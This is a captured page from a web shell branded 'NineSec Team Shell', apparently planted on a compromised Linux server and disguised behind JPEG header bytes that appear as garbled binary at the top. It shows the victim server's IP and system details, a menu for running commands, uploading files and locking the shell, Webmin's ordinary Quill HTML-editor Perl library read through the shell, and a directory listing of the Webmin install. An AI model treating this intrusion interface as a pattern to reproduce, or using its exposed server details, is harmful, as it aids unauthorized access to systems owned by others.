�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.130
Web Server : Apache
System : Linux bob 6.17.4-2-pve #1 SMP PREEMPT_DYNAMIC PMX 6.17.4-2 (2025-12-19T07:49Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /usr/share/javascript/../webmin/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //usr/share/javascript/../webmin/html-editor-lib.pl
# html-editor-lib.pl
# Quill HTML editor related subs

sub html_editor_load_bundle
{
my ($opts) = @_;
$opts ||= {};
my $html_editor_load_scripts;

# Load extra modules first
$html_editor_load_scripts .=
    &html_editor_load_modules($opts);

# Load Quill HTML editor files
$html_editor_load_scripts .=
<<EOF;
<link href="$opts->{'_'}->{'web'}->{'prefix'}/unauthenticated/css/quill.min.css?$opts->{'_'}->{'web'}->{'timestamp'}" rel="stylesheet">
<script type="text/javascript" src="$opts->{'_'}->{'web'}->{'prefix'}/unauthenticated/js/quill.min.js?$opts->{'_'}->{'web'}->{'timestamp'}"></script>
EOF

return $html_editor_load_scripts;
}
sub html_editor_load_modules
{
my ($opts) = @_;
my $html_editor_load_modules;
my $load_css_modules = sub {
    my ($css_modules) = @_;
    foreach my $module (@{$css_modules}) {
        $html_editor_load_modules .=
            "<link href='$opts->{'_'}->{'web'}->{'prefix'}/unauthenticated/css/$module.min.css?$opts->{'_'}->{'web'}->{'timestamp'}' rel='stylesheet'>\n";
        }
    };
my $load_js_modules = sub {
    my ($js_modules) = @_;
    foreach my $module (@{$js_modules}) {
        $html_editor_load_modules .=
            "<script type='text/javascript' src='$opts->{'_'}->{'web'}->{'prefix'}/unauthenticated/js/$module.min.js?$opts->{'_'}->{'web'}->{'timestamp'}'></script>\n";
        }
    };

# Load extra CSS modules
if ($opts->{'extra'}->{'css'}) {
    &$load_css_modules($opts->{'extra'}->{'css'})
    }
    
# Load extra JS modules
if ($opts->{'extra'}->{'js'}) {
    &$load_js_modules($opts->{'extra'}->{'js'})
    }

# Automatically load dependencies
# based on editor mode
if ($opts->{'type'} eq "advanced") {
    my $highlight_bundle = ['highlight/highlight'];
    my @highlight_bundle = @{$highlight_bundle};
    if ($opts->{'_'}->{'client'}->{'palette'} eq 'dark') {
        foreach (@highlight_bundle) {
            $_ .= "-dark"
                if (-e "$root_directory/unauthenticated/css/$_-dark.min.css");
            }
        }
    &$load_css_modules(\@highlight_bundle);
    &$load_js_modules($highlight_bundle);
    }
return $html_editor_load_modules;
}

sub html_editor_template
{
my ($opts) = @_;
$opts ||= {};
$html_editor_template =
<<EOF;
    $opts->{'before'}->{'container'}
    <div class="ql-compose-container $opts->{'class'}->{'container'}">
        $opts->{'before'}->{'editor'}
        <div data-composer="html" class="ql-compose ql-container $opts->{'class'}->{'editor'}"></div>
        $opts->{'after'}->{'editor'}
    </div>
    $opts->{'after'}->{'container'}
EOF
return $html_editor_template;
}
sub html_editor_styles
{
my ($type) = @_;

# HTML editor toolbar styles
if ($type eq 'toolbar') {
    return
<<EOF;
<style>
    .ql-compose-container .ql-snow .ql-formats:empty {
        display: none;
    }
    .ql-compose-container .ql-snow .ql-picker.ql-font .ql-picker-label::before,
    .ql-compose-container .ql-snow .ql-picker.ql-font .ql-picker-item::before {
        content: '$text{'editor_fontfamily_default'}';
    }
    .ql-compose-container .ql-snow .ql-picker.ql-font .ql-picker-label[data-value="monospace"]::before,
    .ql-compose-container .ql-snow .ql-picker.ql-font .ql-picker-item[data-value="monospace"]::before {
        content: '$text{'editor_fontfamily_monospace'}';
    }
    .ql-compose-container .ql-snow .ql-picker.ql-size .ql-picker-label[data-value="0.75em"]::before,
    .ql-compose-container .ql-snow .ql-picker.ql-size .ql-picker-item[data-value="0.75em"]::before {
        content: '$text{'editor_font_small'}';
    }
    .ql-compose-container .ql-snow .ql-picker.ql-size .ql-picker-item[data-value="0.75em"]::before {
        font-size: 0.75em;
    }
    .ql-compose-container .ql-snow .ql-picker.ql-size .ql-picker-label::before,
    .ql-compose-container .ql-snow .ql-picker.ql-size .ql-picker-item::before {
        content: '$text{'editor_font_normal'}';
    }
    .ql-compose-container .ql-snow .ql-picker.ql-size .ql-picker-item::before {
        font-size: 1em;
    }
    .ql-compose-container .ql-snow .ql-picker.ql-size .ql-picker-label[data-value="1.15em"]::before,
    .ql-compose-container .ql-snow .ql-picker.ql-size .ql-picker-item[data-value="1.15em"]::before {
        content: '$text{'editor_font_medium'}';
    }
    .ql-compose-container .ql-snow .ql-picker.ql-size .ql-picker-item[data-value="1.15em"]::before {
        font-size: 1.15em;
    }
    .ql-compose-container .ql-snow .ql-picker.ql-size .ql-picker-label[data-value="1.3em"]::before,
    .ql-compose-container .ql-snow .ql-picker.ql-size .ql-picker-item[data-value="1.3em"]::before {
        content: '$text{'editor_font_large'}';
    }
    .ql-compose-container .ql-snow .ql-picker.ql-size .ql-picker-item[data-value="1.3em"]::before {
        font-size: 1.3em;
    }

    .ql-compose-container .ql-snow .ql-picker.ql-header .ql-picker-label::before,
    .ql-compose-container .ql-snow .ql-picker.ql-header .ql-picker-item::before {
        content: '$text{'editor_paragraph'}';
    }

    .ql-compose-container .ql-snow .ql-picker.ql-header .ql-picker-label[data-value="1"]::before,
    .ql-compose-container .ql-snow .ql-picker.ql-header .ql-picker-item[data-value="1"]::before {
        content: '$text{'editor_heading'} 1'
    }

    .ql-compose-container .ql-snow .ql-picker.ql-header .ql-picker-label[data-value="2"]::before,
    .ql-compose-container .ql-snow .ql-picker.ql-header .ql-picker-item[data-value="2"]::before {
        content: '$text{'editor_heading'} 2'
    }

    .ql-compose-container .ql-snow .ql-picker.ql-header .ql-picker-label[data-value="3"]::before,
    .ql-compose-container .ql-snow .ql-picker.ql-header .ql-picker-item[data-value="3"]::before {
        content: '$text{'editor_heading'} 3'
    }

    .ql-compose-container .ql-snow .ql-picker.ql-header .ql-picker-label[data-value="4"]::before,
    .ql-compose-container .ql-snow .ql-picker.ql-header .ql-picker-item[data-value="4"]::before {
        content: '$text{'editor_heading'} 4'
    }

    .ql-compose-container .ql-snow .ql-picker.ql-header .ql-picker-label[data-value="5"]::before,
    .ql-compose-container .ql-snow .ql-picker.ql-header .ql-picker-item[data-value="5"]::before {
        content: '$text{'editor_heading'} 5'
    }

    .ql-compose-container .ql-snow .ql-picker.ql-header .ql-picker-label[data-value="6"]::before,
    .ql-compose-container .ql-snow .ql-picker.ql-header .ql-picker-item[data-value="6"]::before {
        content: '$text{'editor_heading'} 6'
    }
</style>
EOF
    }
}

sub html_editor_toolbar
{
my ($opts) = @_;

# Toolbar modes
if ($opts->{'type'} eq 'basic') {
    return 
<<EOF;
  [
    ['bold', 'italic'],
    [{'color': []}],
    ['blockquote']
  ]
EOF
    }
if ($opts->{'type'} eq 'simple') {
    return 
<<EOF;
  [
    [{'font': [false, 'monospace']},
     {'size': ['0.75em', false, "1.15em", '1.3em']}],
    ['bold', 'italic', 'underline'],
    [{'color': []}, {'background': []}],
    [{'align': []}],
    ['blockquote'],
    ['link'],
    ['image'],
    ['clean']
  ]
EOF
    }
if ($opts->{'type'} eq 'advanced') {
    return 
<<EOF;
  [
    [{'font': [false, 'monospace']},
     {'size': ['0.75em', false, "1.15em", '1.3em']},
     {'header': [1, 2, 3, 4, 5, 6, false]}],
    ['bold', 'italic', 'underline', 'strike'],
    [{'script': 'sub'}, {'script': 'super'}],
    [{'color': []}, {'background': []}],
    [{'align': []}],
    [{'list': 'ordered'}, {'list': 'bullet'}],
    [{'indent': '-1'}, {'indent': '+1'}],
    ['blockquote'],
    (typeof hljs === 'object' ? ['code-block'] : []),
    ['link'],
    ['image'],
    [{'direction': 'rtl'}],
    ['clean']
  ]
EOF
    }
}

sub html_editor_init_script
{
my ($opts) = @_;
# Get target name and selector type
my $target_text = $opts->{'textarea'}->{'target'};
my $target_attr = $target_text->{'attr'} || 'name';
my $target_type = $target_text->{'type'} || '=';
my $target_name = $target_text->{'name'};

# HTML editor toolbar mode
my $iframe_styles_mode = $opts->{'type'};
my $iframe_styles = 
  &quote_escape(
    &read_file_contents("$root_directory/unauthenticated/css/_iframe/$iframe_styles_mode.min.css"), '"');
$iframe_styles =~ s/\n/ /g;
my $navigation_type = $ENV{'HTTP_X_NAVIGATION_TYPE'};
$navigation_type ||= 'reload';
my $html_editor_init_script =
<<EOF;
<script type="text/javascript">
  function fn_${module_name}_html_editor_init() {
    const targ = document.querySelector('[$target_attr$target_type"$target_name"]'),
      qs = Quill.import('attributors/style/size'),
      qf = Quill.import('attributors/style/font'),
      isMac = navigator.userAgent.toLowerCase().includes('mac'),
      navigation_type = '$navigation_type',
      iframe_styles = "$iframe_styles";

    qs.whitelist = ["0.75em", "1.15em", "1.3em"];
    Quill.register(qs, true);
    qf.whitelist = ["monospace"],
    Quill.register(qf, true);

    const editor = new Quill('.ql-container', {
        modules: {
            syntax: typeof hljs === 'object',
            imageDrop: true,
            imageResize: {
                modules: [
                    'DisplaySize',
                    'Resize',
                ],
            },
            clipboard: {
              matchVisual: false
            },
            toolbar: @{[&html_editor_toolbar($opts)]},
        },
        bounds: '.ql-compose-container',
        theme: 'snow'
    });

    // Google Mail like key bind for creating numbered list (Ctrl+Shift+7)
    editor.keyboard.addBinding({
        key: '7',
        shiftKey: true,
        ctrlKey: !isMac,
        metaKey: isMac,
    }, function(range, context) {
        const currentFormat = this.quill.getFormat(range.index);
        if (currentFormat.list === 'ordered') {
            this.quill.format('list', false);
        } else {
            this.quill.format('list', 'ordered');
        }
    });

    // Google Mail like key bind for creating bullet list (Ctrl+Shift+8)
    editor.keyboard.addBinding({
        key: '8',
        shiftKey: true,
        ctrlKey: !isMac,
        metaKey: isMac,
    }, function(range, context) {
        const currentFormat = this.quill.getFormat(range.index);
        if (currentFormat.list === 'bullet') {
            this.quill.format('list', false);
        } else {
            this.quill.format('list', 'bullet');
        }
    });

    // Google Mail like key bind for creating blockquote (Ctrl+Shift+9)
    editor.keyboard.addBinding({
        key: '9',
        shiftKey: true,
        ctrlKey: !isMac,
        metaKey: isMac,
    }, function(range, context) {
        const currentFormat = this.quill.getFormat(range.index);
        if (currentFormat.blockquote) {
            this.quill.format('blockquote', false);
        } else {
            this.quill.format('blockquote', true);
        }
    });

    editor.on('text-change', function() {
        // This should most probably go to onSubmit event
        targ.value = editor.root.innerHTML + "<br>";
        sessionStorage.setItem('$module_name/quill=last-message', editor.root.innerHTML);
        let extraValue = String(),
            sync = JSON.parse('@{[&convert_to_json($opts->{'textarea'}->{'sync'}->{'data'})]}'),
            position = '@{[$opts->{'textarea'}->{'sync'}->{'position'}]}',
            err = false;
        try {
            // Gather data from additional elements if given
            if (sync.constructor === Array) {
                sync.forEach(function(_) {
                    let content_document = document;
                    if (_.iframe) {
                        content_document =
                          document.querySelector(_.iframe).contentWindow.document;
                    }
                    _.elements.forEach(function(element) {
                        const element_ = content_document.querySelector(element);
                        (element_ && (extraValue += element_.innerHTML));
                    })
                });
            }
        } catch(e) {
          err = true;
        }
        if (!err) {
          if (position === 'before') {
            targ.value = extraValue + targ.value;
          } else {
            targ.value = targ.value + extraValue;
          }
        }
        // Inject our styles (unless already injected) to be sent alongside
        // with the message. These styles later can be optionally turned in
        // inline styling to satisfy GMail strict rules about HTML emails
        if (!targ.value.match(/data-iframe-mode=(.*?)$iframe_styles_mode(.*?)/)) {
            targ.value = targ.value +
              '<style data-iframe-mode="$iframe_styles_mode">' + iframe_styles + '</style>';
        }
    });
    
    // Prevent loosing focus for toolbar selects (color picker, font select and etc)
    editor.getModule("toolbar").container.addEventListener("mousedown", (e) => {
      e.preventDefault();
    });

    // Don't loose message content if the page 
    // is reloaded or history back is clicked
    let restore_message = false;
    try {
        restore_message = window.performance.getEntriesByType("navigation")[0].type !== 'navigate' &&
                          navigation_type !== 'navigate'
    } catch(e) {
      restore_message = false;
    }
    if (restore_message) {
        const quill_last_message = sessionStorage.getItem('$module_name/quill=last-message');
        if (quill_last_message) {
            editor.pasteHTML(quill_last_message);
            return;
        }
    }

    // Update editor on initial load
    editor.pasteHTML(targ.value);
    sessionStorage.setItem('$module_name/quill=last-message', editor.root.innerHTML);
  }
  @{[$opts->{'load'} ? "fn_${module_name}_html_editor_init()" : '']}
</script>
EOF
return $html_editor_init_script;
}

sub html_editor
{
my ($opts) = @_;

# Populate defaults
&html_editor_opts_populate_defaults($opts);

# Get template
my $html_editor_template =
     &html_editor_template($opts);
# Get toolbar styling
my $html_editor_styles_toolbar =
     &html_editor_styles('toolbar');
# Load bundles
my ($html_editor_load_scripts);
my %tinfo = &get_theme_info($current_theme);
if (!$tinfo{'spa'}) {
    # Load HTML editor files and dependencies
    $html_editor_load_scripts =
        &html_editor_load_bundle($opts);
    }

# HTML editor init
$opts->{'load'} = !$tinfo{'spa'};
my $html_editor_init_scripts =
    &html_editor_init_script($opts);

# Return complete HTML editor
return $html_editor_template .
       $html_editor_styles_toolbar .
       $html_editor_load_scripts .
       $html_editor_init_scripts;
}

sub html_editor_opts_populate_defaults
{
my ($opts) = @_;
# Miniserv webprefix
$opts->{'_'}->{'web'}->{'prefix'} = &get_webprefix();
# Webmin version to timestamp
my $webmin_version = &get_webmin_version();
$webmin_version =~ s/[.-]+//g;
$opts->{'_'}->{'web'}->{'timestamp'} = $webmin_version;
# Client color palette
$opts->{'_'}->{'client'}->{'palette'} = $ENV{'HTTP_X_COLOR_PALETTE'};
}

sub html_editor_substitute_classes_with_styles
{
my ($styled_html_email) = @_;
my ($document_styles_string) = $styled_html_email =~ /<style\s+data-iframe-mode.*?>(.*)<\/style>/;
if ($document_styles_string) {
    my (%document_styles_class_names) =
          $document_styles_string =~ /(\.[\w\-\_\d\,\.]+)\s*\{\s*([^}]*?)\s*\}/migx;
    my $class_string = sub {
        return "class=\"$_[0]\"";
    };
    my $style_string = sub {
        return "style=\"$_[0]\"";
    };

    my $style_format = sub {
        my ($stl) = @_;
        # Format style nicely, as Google Mail insists
        # on having these formatted neatly
        $stl =~ s/(:|;)\s*/$1 /g;
        $stl =~ s/(?<!;)$/;/g;
        $stl =~ s/[;\s]+$/;/g;
        $stl =~ s/(\S)(\!important)/$1 $2/g;
        $stl =~ s/\s+$//;
        return $stl;
    };
    # Replace tags classes with inline styles
    foreach my $classes (reverse sort { length($a) <=> length($b) } keys %document_styles_class_names) {
        my @classes = split(/\s*,\s*/, $classes);
        foreach my $class (reverse sort { length($a) <=> length($b) } @classes) {
            my (@class_parts) = $class =~ /\.([\S][^\.]+)/migx;
            my (@style_exact_full) = 
                               map { &$style_format($document_styles_class_names{$_}) }
                                 grep { $_ =~ /(?<!\.)(\Q$class\E)(?!\.)(?!\-)(?!\_)/}
                                   keys %document_styles_class_names;
            # Class full
            if (@style_exact_full) {
                my $r = &$class_string("@class_parts");
                my $s = &$style_string("@style_exact_full");
                $styled_html_email =~ s/\Q$r\E/$s/migx;
                }

            # Class parts
            $class =~ s/^\.//g;
            if ("@class_parts" ne $class) {
                foreach my $class_part (@class_parts) {
                    my $style_exact_part = $document_styles_class_names{".$class_part"};
                    if ($style_exact_part) {
                        $style_exact_part = &$style_format($style_exact_part);
                        my $r = &$class_string($class_part);
                        my $s = &$style_string($style_exact_part);
                        $styled_html_email =~ s/\Q$r\E/$s/migx;
                        }
                    }
                }
            }
        }
    # Fill tags with our inline styles
    my (@document_styles_tag_names) = $styled_html_email =~ /<(?!style)(?!script)(?!s)(\w+)\s*.*?>/migx;
    foreach my $tag_name (&unique(@document_styles_tag_names)) {
        my (%document_styles_tag_names) = $document_styles_string =~ /(\Q$tag_name\E)\s*\{\s*([^}]*?)\s*\}/migx;
        foreach my $tag (keys %document_styles_tag_names) {
            my $tag_style = &$style_format($document_styles_tag_names{$tag});
            $styled_html_email =~ s/(<$tag)(?![^>]+style).*?>/$1 style="$tag_style">/mig;
            }
        }
    }
return $styled_html_email;
}

1;

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
April 08 2025 12:08:09
root
0755
acl
--
December 13 2023 9:43:47
root
0755
adsl-client
--
December 13 2023 9:43:47
root
0755
apache
--
December 13 2023 9:43:47
root
0755
at
--
December 13 2023 9:43:47
root
0755
authentic-theme
--
December 13 2023 9:45:33
root
0755
backup-config
--
December 13 2023 9:43:47
root
0755
bacula-backup
--
December 13 2023 9:43:47
root
0755
bandwidth
--
December 13 2023 9:43:47
root
0755
bin
--
December 13 2023 9:43:47
root
0755
bind8
--
December 13 2023 9:43:47
root
0755
blue-theme
--
December 13 2023 9:43:47
root
0755
change-user
--
December 13 2023 9:43:47
root
0755
cluster-copy
--
December 13 2023 9:43:47
root
0755
cluster-cron
--
December 13 2023 9:43:47
root
0755
cluster-passwd
--
December 13 2023 9:43:47
root
0755
cluster-shell
--
December 13 2023 9:43:47
root
0755
cluster-software
--
December 13 2023 9:43:47
root
0755
cluster-useradmin
--
December 13 2023 9:43:47
root
0755
cluster-usermin
--
December 13 2023 9:43:47
root
0755
cluster-webmin
--
December 13 2023 9:43:47
root
0755
cpan
--
December 13 2023 9:43:47
root
0755
cron
--
December 13 2023 9:43:47
root
0755
custom
--
December 13 2023 9:43:47
root
0755
dfsadmin
--
December 13 2023 9:43:47
root
0755
dhcpd
--
December 13 2023 9:43:47
root
0755
dovecot
--
December 13 2023 9:43:47
root
0755
exim
--
December 13 2023 9:43:47
root
0755
exports
--
December 13 2023 9:43:47
root
0755
fail2ban
--
December 13 2023 9:43:47
root
0755
fdisk
--
December 13 2023 9:43:47
root
0755
fetchmail
--
December 13 2023 9:43:47
root
0755
filemin
--
December 13 2023 9:43:47
root
0755
filter
--
December 13 2023 9:43:47
root
0755
firewall
--
December 13 2023 9:43:47
root
0755
firewall6
--
December 13 2023 9:43:47
root
0755
firewalld
--
December 13 2023 9:43:47
root
0755
fsdump
--
December 13 2023 9:43:47
root
0755
gray-theme
--
December 13 2023 9:43:47
root
0755
heartbeat
--
December 13 2023 9:43:47
root
0755
htaccess-htpasswd
--
December 13 2023 9:43:47
root
0755
idmapd
--
December 13 2023 9:43:47
root
0755
images
--
December 13 2023 9:43:47
root
0755
inetd
--
December 13 2023 9:43:47
root
0755
init
--
December 13 2023 9:43:47
root
0755
inittab
--
December 13 2023 9:43:47
root
0755
ipfilter
--
December 13 2023 9:43:47
root
0755
ipfw
--
December 13 2023 9:43:47
root
0755
ipsec
--
December 13 2023 9:43:47
root
0755
iscsi-client
--
December 13 2023 9:43:47
root
0755
iscsi-server
--
December 13 2023 9:43:47
root
0755
iscsi-target
--
December 13 2023 9:43:47
root
0755
iscsi-tgtd
--
December 13 2023 9:43:47
root
0755
jailkit
--
October 23 2023 6:29:17
root
0755
krb5
--
December 13 2023 9:43:47
root
0755
lang
--
December 13 2023 9:43:47
root
0755
ldap-client
--
December 13 2023 9:43:47
root
0755
ldap-server
--
December 13 2023 9:43:47
root
0755
ldap-useradmin
--
December 13 2023 9:43:47
root
0755
logrotate
--
December 13 2023 9:43:47
root
0755
logviewer
--
December 13 2023 9:43:47
root
0755
lpadmin
--
December 13 2023 9:43:47
root
0755
lvm
--
December 13 2023 9:43:47
root
0755
mailboxes
--
December 13 2023 9:43:47
root
0755
mailcap
--
December 13 2023 9:43:47
root
0755
man
--
December 13 2023 9:43:47
root
0755
mount
--
December 13 2023 9:43:47
root
0755
mysql
--
December 13 2023 9:43:47
root
0755
net
--
December 13 2023 9:43:47
root
0755
nis
--
December 13 2023 9:43:47
root
0755
openslp
--
December 13 2023 9:43:47
root
0755
package-updates
--
December 13 2023 9:43:47
root
0755
pam
--
December 13 2023 9:43:47
root
0755
pap
--
December 13 2023 9:43:47
root
0755
passwd
--
December 13 2023 9:43:47
root
0755
php-pear
--
March 29 2022 10:50:27
root
0755
phpini
--
December 13 2023 9:43:47
root
0755
postfix
--
December 13 2023 9:43:47
root
0755
postgresql
--
December 13 2023 9:43:47
root
0755
ppp-client
--
December 13 2023 9:43:47
root
0755
pptp-client
--
December 13 2023 9:43:47
root
0755
pptp-server
--
December 13 2023 9:43:47
root
0755
proc
--
December 13 2023 9:43:47
root
0755
procmail
--
December 13 2023 9:43:47
root
0755
proftpd
--
December 13 2023 9:43:47
root
0755
qmailadmin
--
December 13 2023 9:43:47
root
0755
quota
--
December 13 2023 9:43:47
root
0755
raid
--
December 13 2023 9:43:47
root
0755
ruby-gems
--
March 29 2022 10:50:27
root
0755
samba
--
December 13 2023 9:43:47
root
0755
sarg
--
December 13 2023 9:43:47
root
0755
sendmail
--
December 13 2023 9:43:47
root
0755
servers
--
December 13 2023 9:43:47
root
0755
shell
--
December 13 2023 9:43:47
root
0755
shorewall
--
December 13 2023 9:43:47
root
0755
shorewall6
--
December 13 2023 9:43:47
root
0755
smart-status
--
December 13 2023 9:43:47
root
0755
smf
--
December 13 2023 9:43:47
root
0755
software
--
December 13 2023 9:43:47
root
0755
spam
--
December 13 2023 9:43:47
root
0755
squid
--
December 13 2023 9:43:47
root
0755
sshd
--
December 13 2023 9:43:47
root
0755
status
--
December 13 2023 9:43:47
root
0755
stunnel
--
December 13 2023 9:43:47
root
0755
syslog
--
December 13 2023 9:43:47
root
0755
syslog-ng
--
December 13 2023 9:43:47
root
0755
system-status
--
December 13 2023 9:43:47
root
0755
tcpwrappers
--
December 13 2023 9:43:47
root
0755
time
--
December 13 2023 9:43:47
root
0755
tunnel
--
December 13 2023 9:43:47
root
0755
unauthenticated
--
December 13 2023 9:43:47
root
0755
updown
--
December 13 2023 9:43:47
root
0755
useradmin
--
December 13 2023 9:43:47
root
0755
usermin
--
December 13 2023 9:43:47
root
0755
vendor_perl
--
December 13 2023 9:43:47
root
0755
virtual-server
--
February 12 2024 9:07:27
root
0755
virtualmin-awstats
--
February 14 2023 5:45:14
root
0755
virtualmin-dav
--
March 29 2022 10:50:44
root
0755
virtualmin-git
--
March 29 2022 10:50:44
root
0755
virtualmin-htpasswd
--
October 23 2023 6:29:20
root
0755
virtualmin-init
--
March 29 2022 10:50:45
root
0755
virtualmin-registrar
--
March 29 2022 10:50:46
root
0755
virtualmin-slavedns
--
March 29 2022 10:50:47
root
0755
virtualmin-sqlite
--
March 29 2022 10:50:47
root
0755
webalizer
--
December 13 2023 9:43:47
root
0755
webmin
--
December 13 2023 9:43:47
root
0755
webmincron
--
December 13 2023 9:43:47
root
0755
webminlog
--
December 13 2023 9:43:47
root
0755
xinetd
--
December 13 2023 9:43:47
root
0755
xterm
--
December 13 2023 9:43:47
root
0755
LICENCE
1.48 KB
November 08 2023 4:49:09
root
0644
LICENCE.ja
1.615 KB
November 08 2023 4:49:09
root
0644
README.md
4.254 KB
November 08 2023 4:49:09
root
0644
WebminCore.pm
8.115 KB
November 08 2023 4:49:09
root
0644
acl_security.pl
4.514 KB
November 08 2023 4:49:09
root
0755
changepass.pl
0.848 KB
November 08 2023 4:49:49
root
0755
chooser.cgi
7.214 KB
November 08 2023 4:49:48
root
0755
config-aix
0.222 KB
November 08 2023 4:49:09
root
0644
config-cobalt-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-coherent-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-corel-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-debian-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-freebsd
0.25 KB
November 08 2023 4:49:09
root
0644
config-generic-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-gentoo-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-hpux
0.237 KB
November 08 2023 4:49:09
root
0644
config-irix
0.277 KB
November 08 2023 4:49:09
root
0644
config-lib.pl
10.818 KB
November 08 2023 4:49:09
root
0755
config-macos
0.254 KB
November 08 2023 4:49:09
root
0644
config-mandrake-linux
0.271 KB
November 08 2023 4:49:09
root
0644
config-msc-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-netbsd
0.276 KB
November 08 2023 4:49:09
root
0644
config-open-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-openbsd
0.235 KB
November 08 2023 4:49:09
root
0644
config-openmamba-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-openserver
0.23 KB
November 08 2023 4:49:09
root
0644
config-osf1
0.26 KB
November 08 2023 4:49:09
root
0644
config-pardus-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-redhat-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-slackware-linux
0.273 KB
November 08 2023 4:49:09
root
0644
config-sol-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-solaris
0.407 KB
November 08 2023 4:49:09
root
0644
config-suse-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-syno-linux
0.355 KB
November 08 2023 4:49:09
root
0644
config-trustix-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-turbo-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-united-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-unixware
0.279 KB
November 08 2023 4:49:09
root
0644
config-windows
0.086 KB
November 08 2023 4:49:09
root
0644
config.cgi
1.551 KB
November 08 2023 4:49:48
root
0755
config_save.cgi
1.636 KB
November 08 2023 4:49:48
root
0755
copyconfig.pl
4.332 KB
November 08 2023 4:49:49
root
0755
create-module.pl
3.95 KB
November 08 2023 4:49:49
root
0755
date_chooser.cgi
2.188 KB
November 08 2023 4:49:48
root
0755
deb-name
0.007 KB
November 08 2023 4:49:49
root
0644
defaultacl
0.096 KB
November 08 2023 4:49:09
root
0644
defaulttheme
0.016 KB
November 08 2023 4:49:09
root
0644
entities_map.txt
1.466 KB
November 08 2023 4:49:09
root
0644
fastrpc.cgi
10.184 KB
November 08 2023 4:49:48
root
0755
favicon.ico
14.732 KB
November 08 2023 4:49:09
root
0644
feedback.cgi
6.366 KB
November 08 2023 4:49:48
root
0755
feedback_form.cgi
3.45 KB
November 08 2023 4:49:48
root
0755
group_chooser.cgi
7.51 KB
November 08 2023 4:49:48
root
0755
help.cgi
2.114 KB
November 08 2023 4:49:48
root
0755
html-editor-lib.pl
17.434 KB
November 08 2023 4:49:09
root
0644
index.cgi
5.61 KB
November 08 2023 4:49:49
root
0755
install-module.pl
1.538 KB
November 08 2023 4:49:49
root
0755
install-type
0.004 KB
November 08 2023 4:49:49
root
0644
javascript-lib.pl
14.689 KB
November 08 2023 4:49:09
root
0755
lang_list.txt
3.405 KB
November 08 2023 4:49:09
root
0644
maketemp.pl
0.414 KB
November 08 2023 4:49:09
root
0755
mime.types
12.418 KB
November 08 2023 4:49:09
root
0644
miniserv.pem
2.899 KB
November 08 2023 4:49:09
root
0644
miniserv.pl
181.17 KB
November 08 2023 4:49:49
root
0755
module_chooser.cgi
4.14 KB
November 08 2023 4:49:48
root
0755
newmods.pl
1.25 KB
November 08 2023 4:49:09
root
0755
os_list.txt
34.343 KB
November 08 2023 4:49:09
root
0644
oschooser.pl
4.546 KB
November 08 2023 4:49:49
root
0755
pam_login.cgi
2.834 KB
November 08 2023 4:49:48
root
0755
password_change.cgi
7.005 KB
November 08 2023 4:49:49
root
0755
password_form.cgi
1.296 KB
November 08 2023 4:49:48
root
0755
perlpath.pl
0.558 KB
November 08 2023 4:49:49
root
0755
record-failed.pl
0.491 KB
November 08 2023 4:49:49
root
0755
record-login.pl
0.501 KB
November 08 2023 4:49:49
root
0755
record-logout.pl
0.504 KB
November 08 2023 4:49:49
root
0755
robots.txt
0.025 KB
November 08 2023 4:49:09
root
0644
rpc.cgi
3.995 KB
November 08 2023 4:49:49
root
0755
run-postinstalls.pl
1 KB
November 08 2023 4:49:49
root
0755
run-uninstalls.pl
0.98 KB
November 08 2023 4:49:49
root
0755
safeacl
0.043 KB
November 08 2023 4:49:09
root
0644
session_login.cgi
3.546 KB
November 08 2023 4:49:49
root
0755
setup-repos.sh
5.145 KB
November 08 2023 4:49:09
root
0755
setup.bat
3.086 KB
November 08 2023 4:49:09
root
0644
setup.pl
31.846 KB
November 08 2023 4:49:49
root
0755
setup.sh
33.085 KB
November 08 2023 4:49:09
root
0755
switch_skill.cgi
0.286 KB
November 08 2023 4:49:48
root
0755
switch_theme.cgi
1.276 KB
November 08 2023 4:49:49
root
0755
switch_user.cgi
0.395 KB
November 08 2023 4:49:49
root
0755
thirdparty.pl
1.732 KB
November 08 2023 4:49:09
root
0755
ui-lib.pl
97.904 KB
November 08 2023 4:49:09
root
0755
update-from-repo.sh
14.8 KB
November 08 2023 4:49:09
root
0755
uptracker.cgi
2.879 KB
November 08 2023 4:49:48
root
0755
user_chooser.cgi
7.394 KB
November 08 2023 4:49:48
root
0755
version
0.006 KB
November 08 2023 4:49:09
root
0644
web-lib-funcs.pl
371.256 KB
November 08 2023 4:49:09
root
0755
web-lib.pl
1.081 KB
November 08 2023 4:49:09
root
0755
webmin-daemon
0.078 KB
November 08 2023 4:49:09
root
0644
webmin-init
1.932 KB
November 08 2023 4:49:09
root
0755
webmin-pam
0.099 KB
November 08 2023 4:49:09
root
0644
webmin-search-lib.pl
9.454 KB
